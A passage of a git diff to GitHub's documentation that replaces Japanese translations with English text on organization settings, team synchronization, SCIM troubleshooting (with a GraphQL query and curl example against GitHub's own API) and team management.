branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." -## デフォルトブランチ 名を設定する +## Setting the default branch name {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.repository-defaults %} -3. [Repository default branch] で、[**Change default branch name now**] をクリックします。 ![[Override] ボタン](/assets/images/help/organizations/repo-default-name-button.png) -4. 新しいブランチに使用したいデフォルト名を入力します。 ![デフォルト名を入力するテキストフィールド](/assets/images/help/organizations/repo-default-name-text.png) -5. [**Update**] をクリックします。 ![[Update] ボタン](/assets/images/help/organizations/repo-default-name-update.png) +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/organizations/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/organizations/repo-default-name-update.png) -## 参考リンク +## Further reading -- /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories +- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)" diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md index 0054abb4ac..841dca73ea 100644 --- a/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ b/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization のフォークポリシーを管理する -intro: 'Organization が所有するプライベート{% ifversion fpt or ghes or ghae or ghec %}およびインターナル{% endif %}リポジトリのフォークを許可または禁止できます。' +title: Managing the forking policy for your organization +intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' redirect_from: - /articles/allowing-people-to-fork-private-repositories-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization @@ -14,22 +14,25 @@ versions: topics: - Organizations - Teams -shortTitle: フォークポリシーの管理 +shortTitle: Manage forking policy --- -デフォルトでは、新しい Organization はプライベート{% ifversion fpt or ghes or ghae or ghec %}およびインターナル{% endif %}リポジトリのフォークを禁止するように設定されます。 +By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. -Organization レベルでプライベート{% ifversion fpt or ghes or ghae or ghec %} およびインターナル{% endif %}リポジトリのフォークを許可する場合は、特定のプライベート{% ifversion fpt or ghes or ghae or ghec %}またはインターナル{% endif %}リポジトリをフォークする機能も設定することができます。 詳細は「[リポジトリのフォークポリシーを管理する](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)」を参照してください。 - -{% data reusables.organizations.internal-repos-enterprise %} +If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -5. [Repository forking] で、[**Allow forking of private repositories**] または [**Allow forking of private and internal repositories**] を選択します。 ![Organization でフォークを許可または禁止するチェックボックス](/assets/images/help/repository/allow-disable-forking-organization.png) -6. [**Save**] をクリックします。 +1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. -## 参考リンク + {%- ifversion fpt %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) + {%- elsif ghes or ghec or ghae %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) + {%- endif %} +6. Click **Save**. -- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」 +## Further reading + +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md index 0f01d86b84..7f1c181bd9 100644 --- a/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md +++ b/translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization 内でリポジトリの作成を制限する -intro: Organization のデータを保護するために、Organization 内でリポジトリを作成するための権限を設定できます。 +title: Restricting repository creation in your organization +intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.' redirect_from: - /articles/restricting-repository-creation-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization @@ -12,25 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: リポジトリの作成の制限 +shortTitle: Restrict repository creation --- -メンバーが Organization でリポジトリを作成できるかどうかを選択できます。 If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %} For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. -Organization のオーナーは、いつでもどんなタイプの リポジトリ でも作成できます。 - -{% ifversion fpt or ghec %}Enterprise オーナー{% else %}サイト管理者{% endif %}は、Organization のリポジトリ作成ポリシーで使用できるオプションを制限できます。 For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)." +Organization owners can always create any type of repository. +{% ifversion ghec or ghae or ghes %} +{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %} {% warning %} -**警告**: この設定で制限されるのは、リポジトリを作成するときの可視性オプションだけです。後からリポジトリの可視性を変更する機能は制限されません。 詳しい情報については「[Organization 内でリポジトリの可視性の変更を制限する](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)」を参照してください。 +**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." {% endwarning %} -{% data reusables.organizations.internal-repos-enterprise %} - {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. [Repository creation] で、1 つ以上のオプションを選択します。 ![リポジトリ作成のオプション](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) -6. [**Save**] をクリックします。 +5. Under "Repository creation", select one or more options. + + {%- ifversion ghes or ghec or ghae %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + {%- elsif fpt %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png) + {%- endif %} +6. Click **Save**. diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md index d4a3b43899..420131782e 100644 --- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md +++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md @@ -1,6 +1,6 @@ --- -title: Organization で SAML シングルサインオンを管理する -intro: Organization の管理者は、メンバーの ID と、SAML シングルサインオン (SSO) による Organization へのアクセスを管理できます。 +title: Managing SAML single sign-on for your organization +intro: Organization administrators can manage organization members' identities and access to the organization with SAML single sign-on (SSO). redirect_from: - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on/ - /articles/managing-saml-single-sign-on-for-your-organization @@ -22,6 +22,7 @@ children: - /downloading-your-organizations-saml-single-sign-on-recovery-codes - /managing-team-synchronization-for-your-organization - /accessing-your-organization-if-your-identity-provider-is-unavailable -shortTitle: SAMLシングルサインオンの管理 + - /troubleshooting-identity-and-access-management +shortTitle: Manage SAML single sign-on --- diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md index bcc0f2c6b5..c963c89bb7 100644 --- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md +++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization の Team 同期を管理する -intro: '{% data variables.product.product_name %} 上のアイデンティティプロバイダ (IdP) と Organization の間で Team の同期の有効/無効を切り替えることができます。' +title: Managing team synchronization for your organization +intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.team-synchronization %}' redirect_from: - /articles/synchronizing-teams-between-your-identity-provider-and-github @@ -15,16 +15,14 @@ versions: topics: - Organizations - Teams -shortTitle: Teamの同期の管理 +shortTitle: Manage team synchronization --- {% data reusables.enterprise-accounts.emu-scim-note %} -{% data reusables.gated-features.okta-team-sync %} +## About team synchronization -## Team の同期について - -IdP と {% data variables.product.product_name %} の間で Team の同期を有効化すると、Organization のオーナーとチームメンテナが Organization の Team を IdP グループに接続できるようになります。 +You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. {% data reusables.identity-and-permissions.about-team-sync %} @@ -32,25 +30,25 @@ IdP と {% data variables.product.product_name %} の間で Team の同期を有 {% data reusables.identity-and-permissions.sync-team-with-idp-group %} -Enterprise アカウントが所有する Organization に対して Team の同期を有効化することもできます。 For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." {% data reusables.enterprise-accounts.team-sync-override %} {% data reusables.identity-and-permissions.team-sync-usage-limits %} -## Team の同期を有効化する +## Enabling team synchronization -Team の同期を有効化する手順は、使用する IdP によって異なります。 各 IdP によって、Team の同期を有効化するうえで必要な環境があります。 個々の IdP ごとに、さらに必要な環境があります。 +The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites. -### 必要な環境 +### Prerequisites {% data reusables.identity-and-permissions.team-sync-required-permissions %} -Organization と、サポートされている IdP について、SAMLシングルサインオンを有効にする必要があります。 詳細は「[Organization で SAML シングルサインオンを施行する](/articles/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。 +You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." -You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. 詳しい情報については「[SAMLシングルサインオンで認証する](/articles/authenticating-with-saml-single-sign-on)」を参照してください。 +You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." -### Azure AD で Team の同期を有効化する +### Enabling team synchronization for Azure AD {% data reusables.identity-and-permissions.team-sync-azure-permissions %} @@ -60,9 +58,18 @@ You must have a linked SAML identity. To create a linked identity, you must auth {% data reusables.identity-and-permissions.team-sync-confirm-saml %} {% data reusables.identity-and-permissions.enable-team-sync-azure %} {% data reusables.identity-and-permissions.team-sync-confirm %} -6. Organization に接続したいアイデンティティプロバイダのテナント情報を確認してから、[**Approve**] をクリックします。 ![特定の IdP テナントに対して、Team の同期を有効化するペンディングリクエストと、リクエストを承認またはキャンセルするオプション](/assets/images/help/teams/approve-team-synchronization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**. + ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png) -### Okta で Team の同期を有効化する +### Enabling team synchronization for Okta + +Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization. + +To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. + +If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them. + +For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." {% data reusables.identity-and-permissions.team-sync-okta-requirements %} @@ -70,15 +77,20 @@ You must have a linked SAML identity. To create a linked identity, you must auth {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} {% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.team-sync-confirm-scim %} +1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)." {% data reusables.identity-and-permissions.enable-team-sync-okta %} -7. Organization 名の下で、有効な SSWS トークンと Okta インスタンスの URL を入力します。 ![Okta Organization で Team の同期を有効化するフォーム](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) -6. Organization に接続したいアイデンティティプロバイダのテナント情報を確認してから、[**Create**] をクリックします。 ![Team の同期を有効化する [Create] ボタン](/assets/images/help/teams/confirm-team-synchronization-okta.png) +7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance. + ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Create**. + ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png) -## Team の同期を無効化する +## Disabling team synchronization {% data reusables.identity-and-permissions.team-sync-disable %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -5. [Team synchronization] の下にある [**Disable team synchronization**] をクリックします。 ![Team の同期を無効化する](/assets/images/help/teams/disable-team-synchronization.png) +5. Under "Team synchronization", click **Disable team synchronization**. + ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png) diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md new file mode 100644 index 0000000000..dffddfadae --- /dev/null +++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md @@ -0,0 +1,87 @@ +--- +title: Troubleshooting identity and access management +intro: 'Review and resolve common troubleshooting errors for managing your organization''s SAML SSO, team synchronization, or identity provider (IdP) connection.' +product: '{% data reusables.gated-features.saml-sso %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Troubleshooting access +--- + +## Some users are not provisioned or deprovisioned by SCIM + +When you encounter provisioning issues with users, we recommend that you check if the users are missing SCIM metadata. If an organization member has missing SCIM metadata, then you can re-provision SCIM for the user manually through your IdP. + +### Auditing users for missing SCIM metadata + +If you suspect or notice that any users are not provisioned or deprovisioned as expected, we recommend that you audit all users in your organization. + +To check whether users have a SCIM identity (SCIM metadata) in their external identity, you can review SCIM metadata for one organization member at a time on {% data variables.product.prodname_dotcom %} or you can programatically check all organization members using the {% data variables.product.prodname_dotcom %} API. + +#### Auditing organization members on {% data variables.product.prodname_dotcom %} + +As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `` and ``: + +> `https://github.com/orgs//people//sso` + +If the user's external identity includes SCIM metadata, the organization owner should see a SCIM identity section on that page. If their external identity does not include any SCIM metadata, the SCIM Identity section will not exist. + +#### Auditing organization members through the {% data variables.product.prodname_dotcom %} API + +As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. + +#### Using the REST API + +The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members. + +For more information, see: + - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)" + - "[List organization members](/rest/reference/orgs#list-organization-members)" + +#### Using GraphQL + +This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. + +```graphql +{ + organization(login: "ORG") { + samlIdentityProvider { + ssoUrl + externalIdentities(first: 100) { + edges { + node { + samlIdentity { + nameId + } + scimIdentity { + username + } + user { + login + } + } + } + } + } + } +} +``` + +```shell +curl -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql +``` + +For more information on using the GraphQL API, see: + - "[GraphQL guides](/graphql/guides)" + - "[GraphQL explorer](/graphql/overview/explorer)" + +### Re-provisioning SCIM for users through your identity provider + +You can re-provision SCIM for users manually through your IdP. For example, to resolve provisioning errors, in the Okta admin portal, you can unassign and reassign users to the {% data variables.product.prodname_dotcom %} app. This should trigger Okta to make an API call to populate the SCIM metadata for these users on {% data variables.product.prodname_dotcom %}. For more information, see "[Unassign users from applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)" or "[Assign users to applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)" in the Okta documentation. + +To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)." + +If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support. \ No newline at end of file diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md index e0e2aa80eb..052dc5b6af 100644 --- a/translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md +++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md @@ -1,6 +1,6 @@ --- -title: Team について -intro: Team は、Organization のメンバーによって構成されるグループであり、カスケードになったアクセス権限とメンションを伴う会社やグループの構造を反映します。 +title: About teams +intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. redirect_from: - /articles/about-teams - /github/setting-up-and-managing-organizations-and-teams/about-teams @@ -14,69 +14,69 @@ topics: - Teams --- -![Organization 内の Team のリスト](/assets/images/help/teams/org-list-of-teams.png) +![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png) -Organization のオーナーとチームメンテナは、Team に対して、Organization のリポジトリへの管理、読み取り、書き込みアクセスを与えることができます。 Organization のメンバーは、Team 名をメンションすることで、Team 全体に通知を送ることができます。 Organization のメンバーは、Team からのレビューをリクエストすることによっても、Team 全体に通知を送ることができます。 Organization のメンバーは、プルリクエストがオープンされたリポジトリへの読み取りアクセスを持つ特定の Team からのレビューをリクエストできます。 コードの特定の種類や領域に対して Team をオーナーとして CODEOWNERS ファイルで指定できます。 +Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. -詳しい情報については、以下を参照してください。 -- [OrganizationのリポジトリへのTeamのアクセスの管理](/articles/managing-team-access-to-an-organization-repository) -- 「[人や Team のメンション](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)」 -- 「[コードオーナー'について](/articles/about-code-owners/)」 +For more information, see: +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" +- "[About code owners](/articles/about-code-owners/)" -![Team のメンションの画像](/assets/images/help/teams/team-mention.png) +![Image of a team mention](/assets/images/help/teams/team-mention.png) {% ifversion ghes %} -また、LDAP Sync を使って {% data variables.product.product_location %}の Team メンバーと Team ロールを、既成の LDAP グループと同期させることができます。 そうすることで、{% data variables.product.product_location %}内で手動で行う代わりに、LDAP サーバーのユーザのロールベースアクセス制御を確立できます。 詳しい情報については[LDAP Syncの有効化](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)を参照してください。 +You can also use LDAP Sync to synchronize {% data variables.product.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.product_location %}. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." {% endif %} {% data reusables.organizations.team-synchronization %} -## Team の可視性 +## Team visibility {% data reusables.organizations.types-of-team-visibility %} -You can view all the teams you belong to on your personal dashboard. 詳細は「[パーソナルダッシュボードについて](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)」を参照してください。 +You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)." -## Team のページ +## Team pages -各 Team は、Organization 内に独自のページを持ちます。 Team のページでは、Team メンバー、子チーム、Team のリポジトリを見ることができます。 Organization のオーナーとチームメンテナは、Team のページから Team の設定にアクセスし、Team の説明とプロフィール画像を更新できます。 +Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. -Organization のメンバーは、Team 内のディスカッションを作成し、参加できます。 詳しい情報については[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)を参照してください。 +Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." -![メンバーとディスカッションのリストがある Team ページ](/assets/images/help/organizations/team-page-discussions-tab.png) +![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png) -## 入れ子チーム +## Nested teams -{% data variables.product.product_name %}の Organization では、複数レベルの入れ子チームでグループや会社の階層を反映させることができます。 親チームは複数の子チームを持つことができます。それぞれの子チームが持つことができる親チームは 1 つだけです。 シークレットチームを入れ子にすることはできません。 +You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. -子チームは親のアクセス権限を引き継ぐので、大きなグループでの権限管理がシンプルになります。 子チームのメンバーは、親チームが@メンションされた場合にも通知を受けるので、複数グループの人々のコミュニケーションがシンプルになります。 +Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. -たとえば Team の構造が「従業員 > エンジニアリング > アプリケーションエンジニアリング > アイデンティティ」となっているなら、エンジニアリングにリポジトリへの書き込みアクセスを許可すれば、アプリケーションエンジニアとアイデンティティもそのアクセス権を得ることになります。 アイデンティティ Team あるいは Organization の階層の最下位にある Team に @メンションした場合、それらのチームだけが通知を受けることになります。 +For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. -![親チームと子チームがある Team のページ](/assets/images/help/teams/nested-teams-eng-example.png) +![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png) -親チームの権限とメンションを誰が共有するのかを簡単に知るには、親チームのページの [Members] タブで親チームの子チームのすべてのメンバーを見ることができます。 子チームのメンバーは、親チームの直接のメンバーではありません。 +To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. -![子チームの全メンバーがある親チームのページ](/assets/images/help/teams/team-and-subteam-members.png) +![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png) -Team を作るときには親を選択できます。あるいは、作成済みの Team を Organization の階層の中で移動させることもできます。 詳しい情報については[Organization 階層内での Team の移動](/articles/moving-a-team-in-your-organization-s-hierarchy)を参照してください。 +You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." {% data reusables.enterprise_user_management.ldap-sync-nested-teams %} -## Organization 内で Team を入れ子にする準備 +## Preparing to nest teams in your organization -Organization がすでに既存の Team を持っている場合、その Team の上あるいは下に Team を入れ子にする前に、各 Team のリポジトリのアクセス権限を監査しておくべきです。 また、Organization に実装したい新しい構造についても考慮しておくべきです。 +If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. -Team 階層の最上位では、親チームとその子チームのすべてのメンバーにとって安全なアクセス権限を、親チームのリポジトリに与えるべきです。 階層を下っていくにつれて、より注意が必要なリポジトリへの、より細かいアクセスを、子チームに許可していくことができます。 +At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. -1. 既存の Team からすべてのメンバーを削除する -2. 各 Team のリポジトリのアクセス権限を監査して調整し、各 Team に親を与える -3. 必要な新しい Team を作成し、それぞれの新 Team の親を選択し、それらにリポジトリのアクセス権を与える -4. Team に直接人を追加する +1. Remove all members from existing teams +2. Audit and adjust each team's repository access permissions and give each team a parent +3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access +4. Add people directly to teams -## 参考リンク +## Further reading -- [Team の作成](/articles/creating-a-team) -- [Team へのOrganization メンバーの追加](/articles/adding-organization-members-to-a-team) +- "[Creating a team](/articles/creating-a-team)" +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md index 238fb5c5c8..1430d9a82c 100644 --- a/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md +++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md @@ -27,12 +27,12 @@ To reduce noise for your team and clarify individual responsibility for pull req ## About team notifications -When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. 詳細は「[コードオーナーについて](/github/creating-cloning-and-archiving-repositories/about-code-owners)」を参照してください。 +When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." ## About auto assignment {% endif %} -When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. コードレビューの割り当てでは、Team がレビューをリクエストされたとき、Team の全体に通知するか、Team メンバーのサブセットのみに通知するかを決めることができます。 +When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review. When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition. @@ -40,13 +40,13 @@ When code owners are automatically requested for review, the team is still remov To further enhance your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} -### 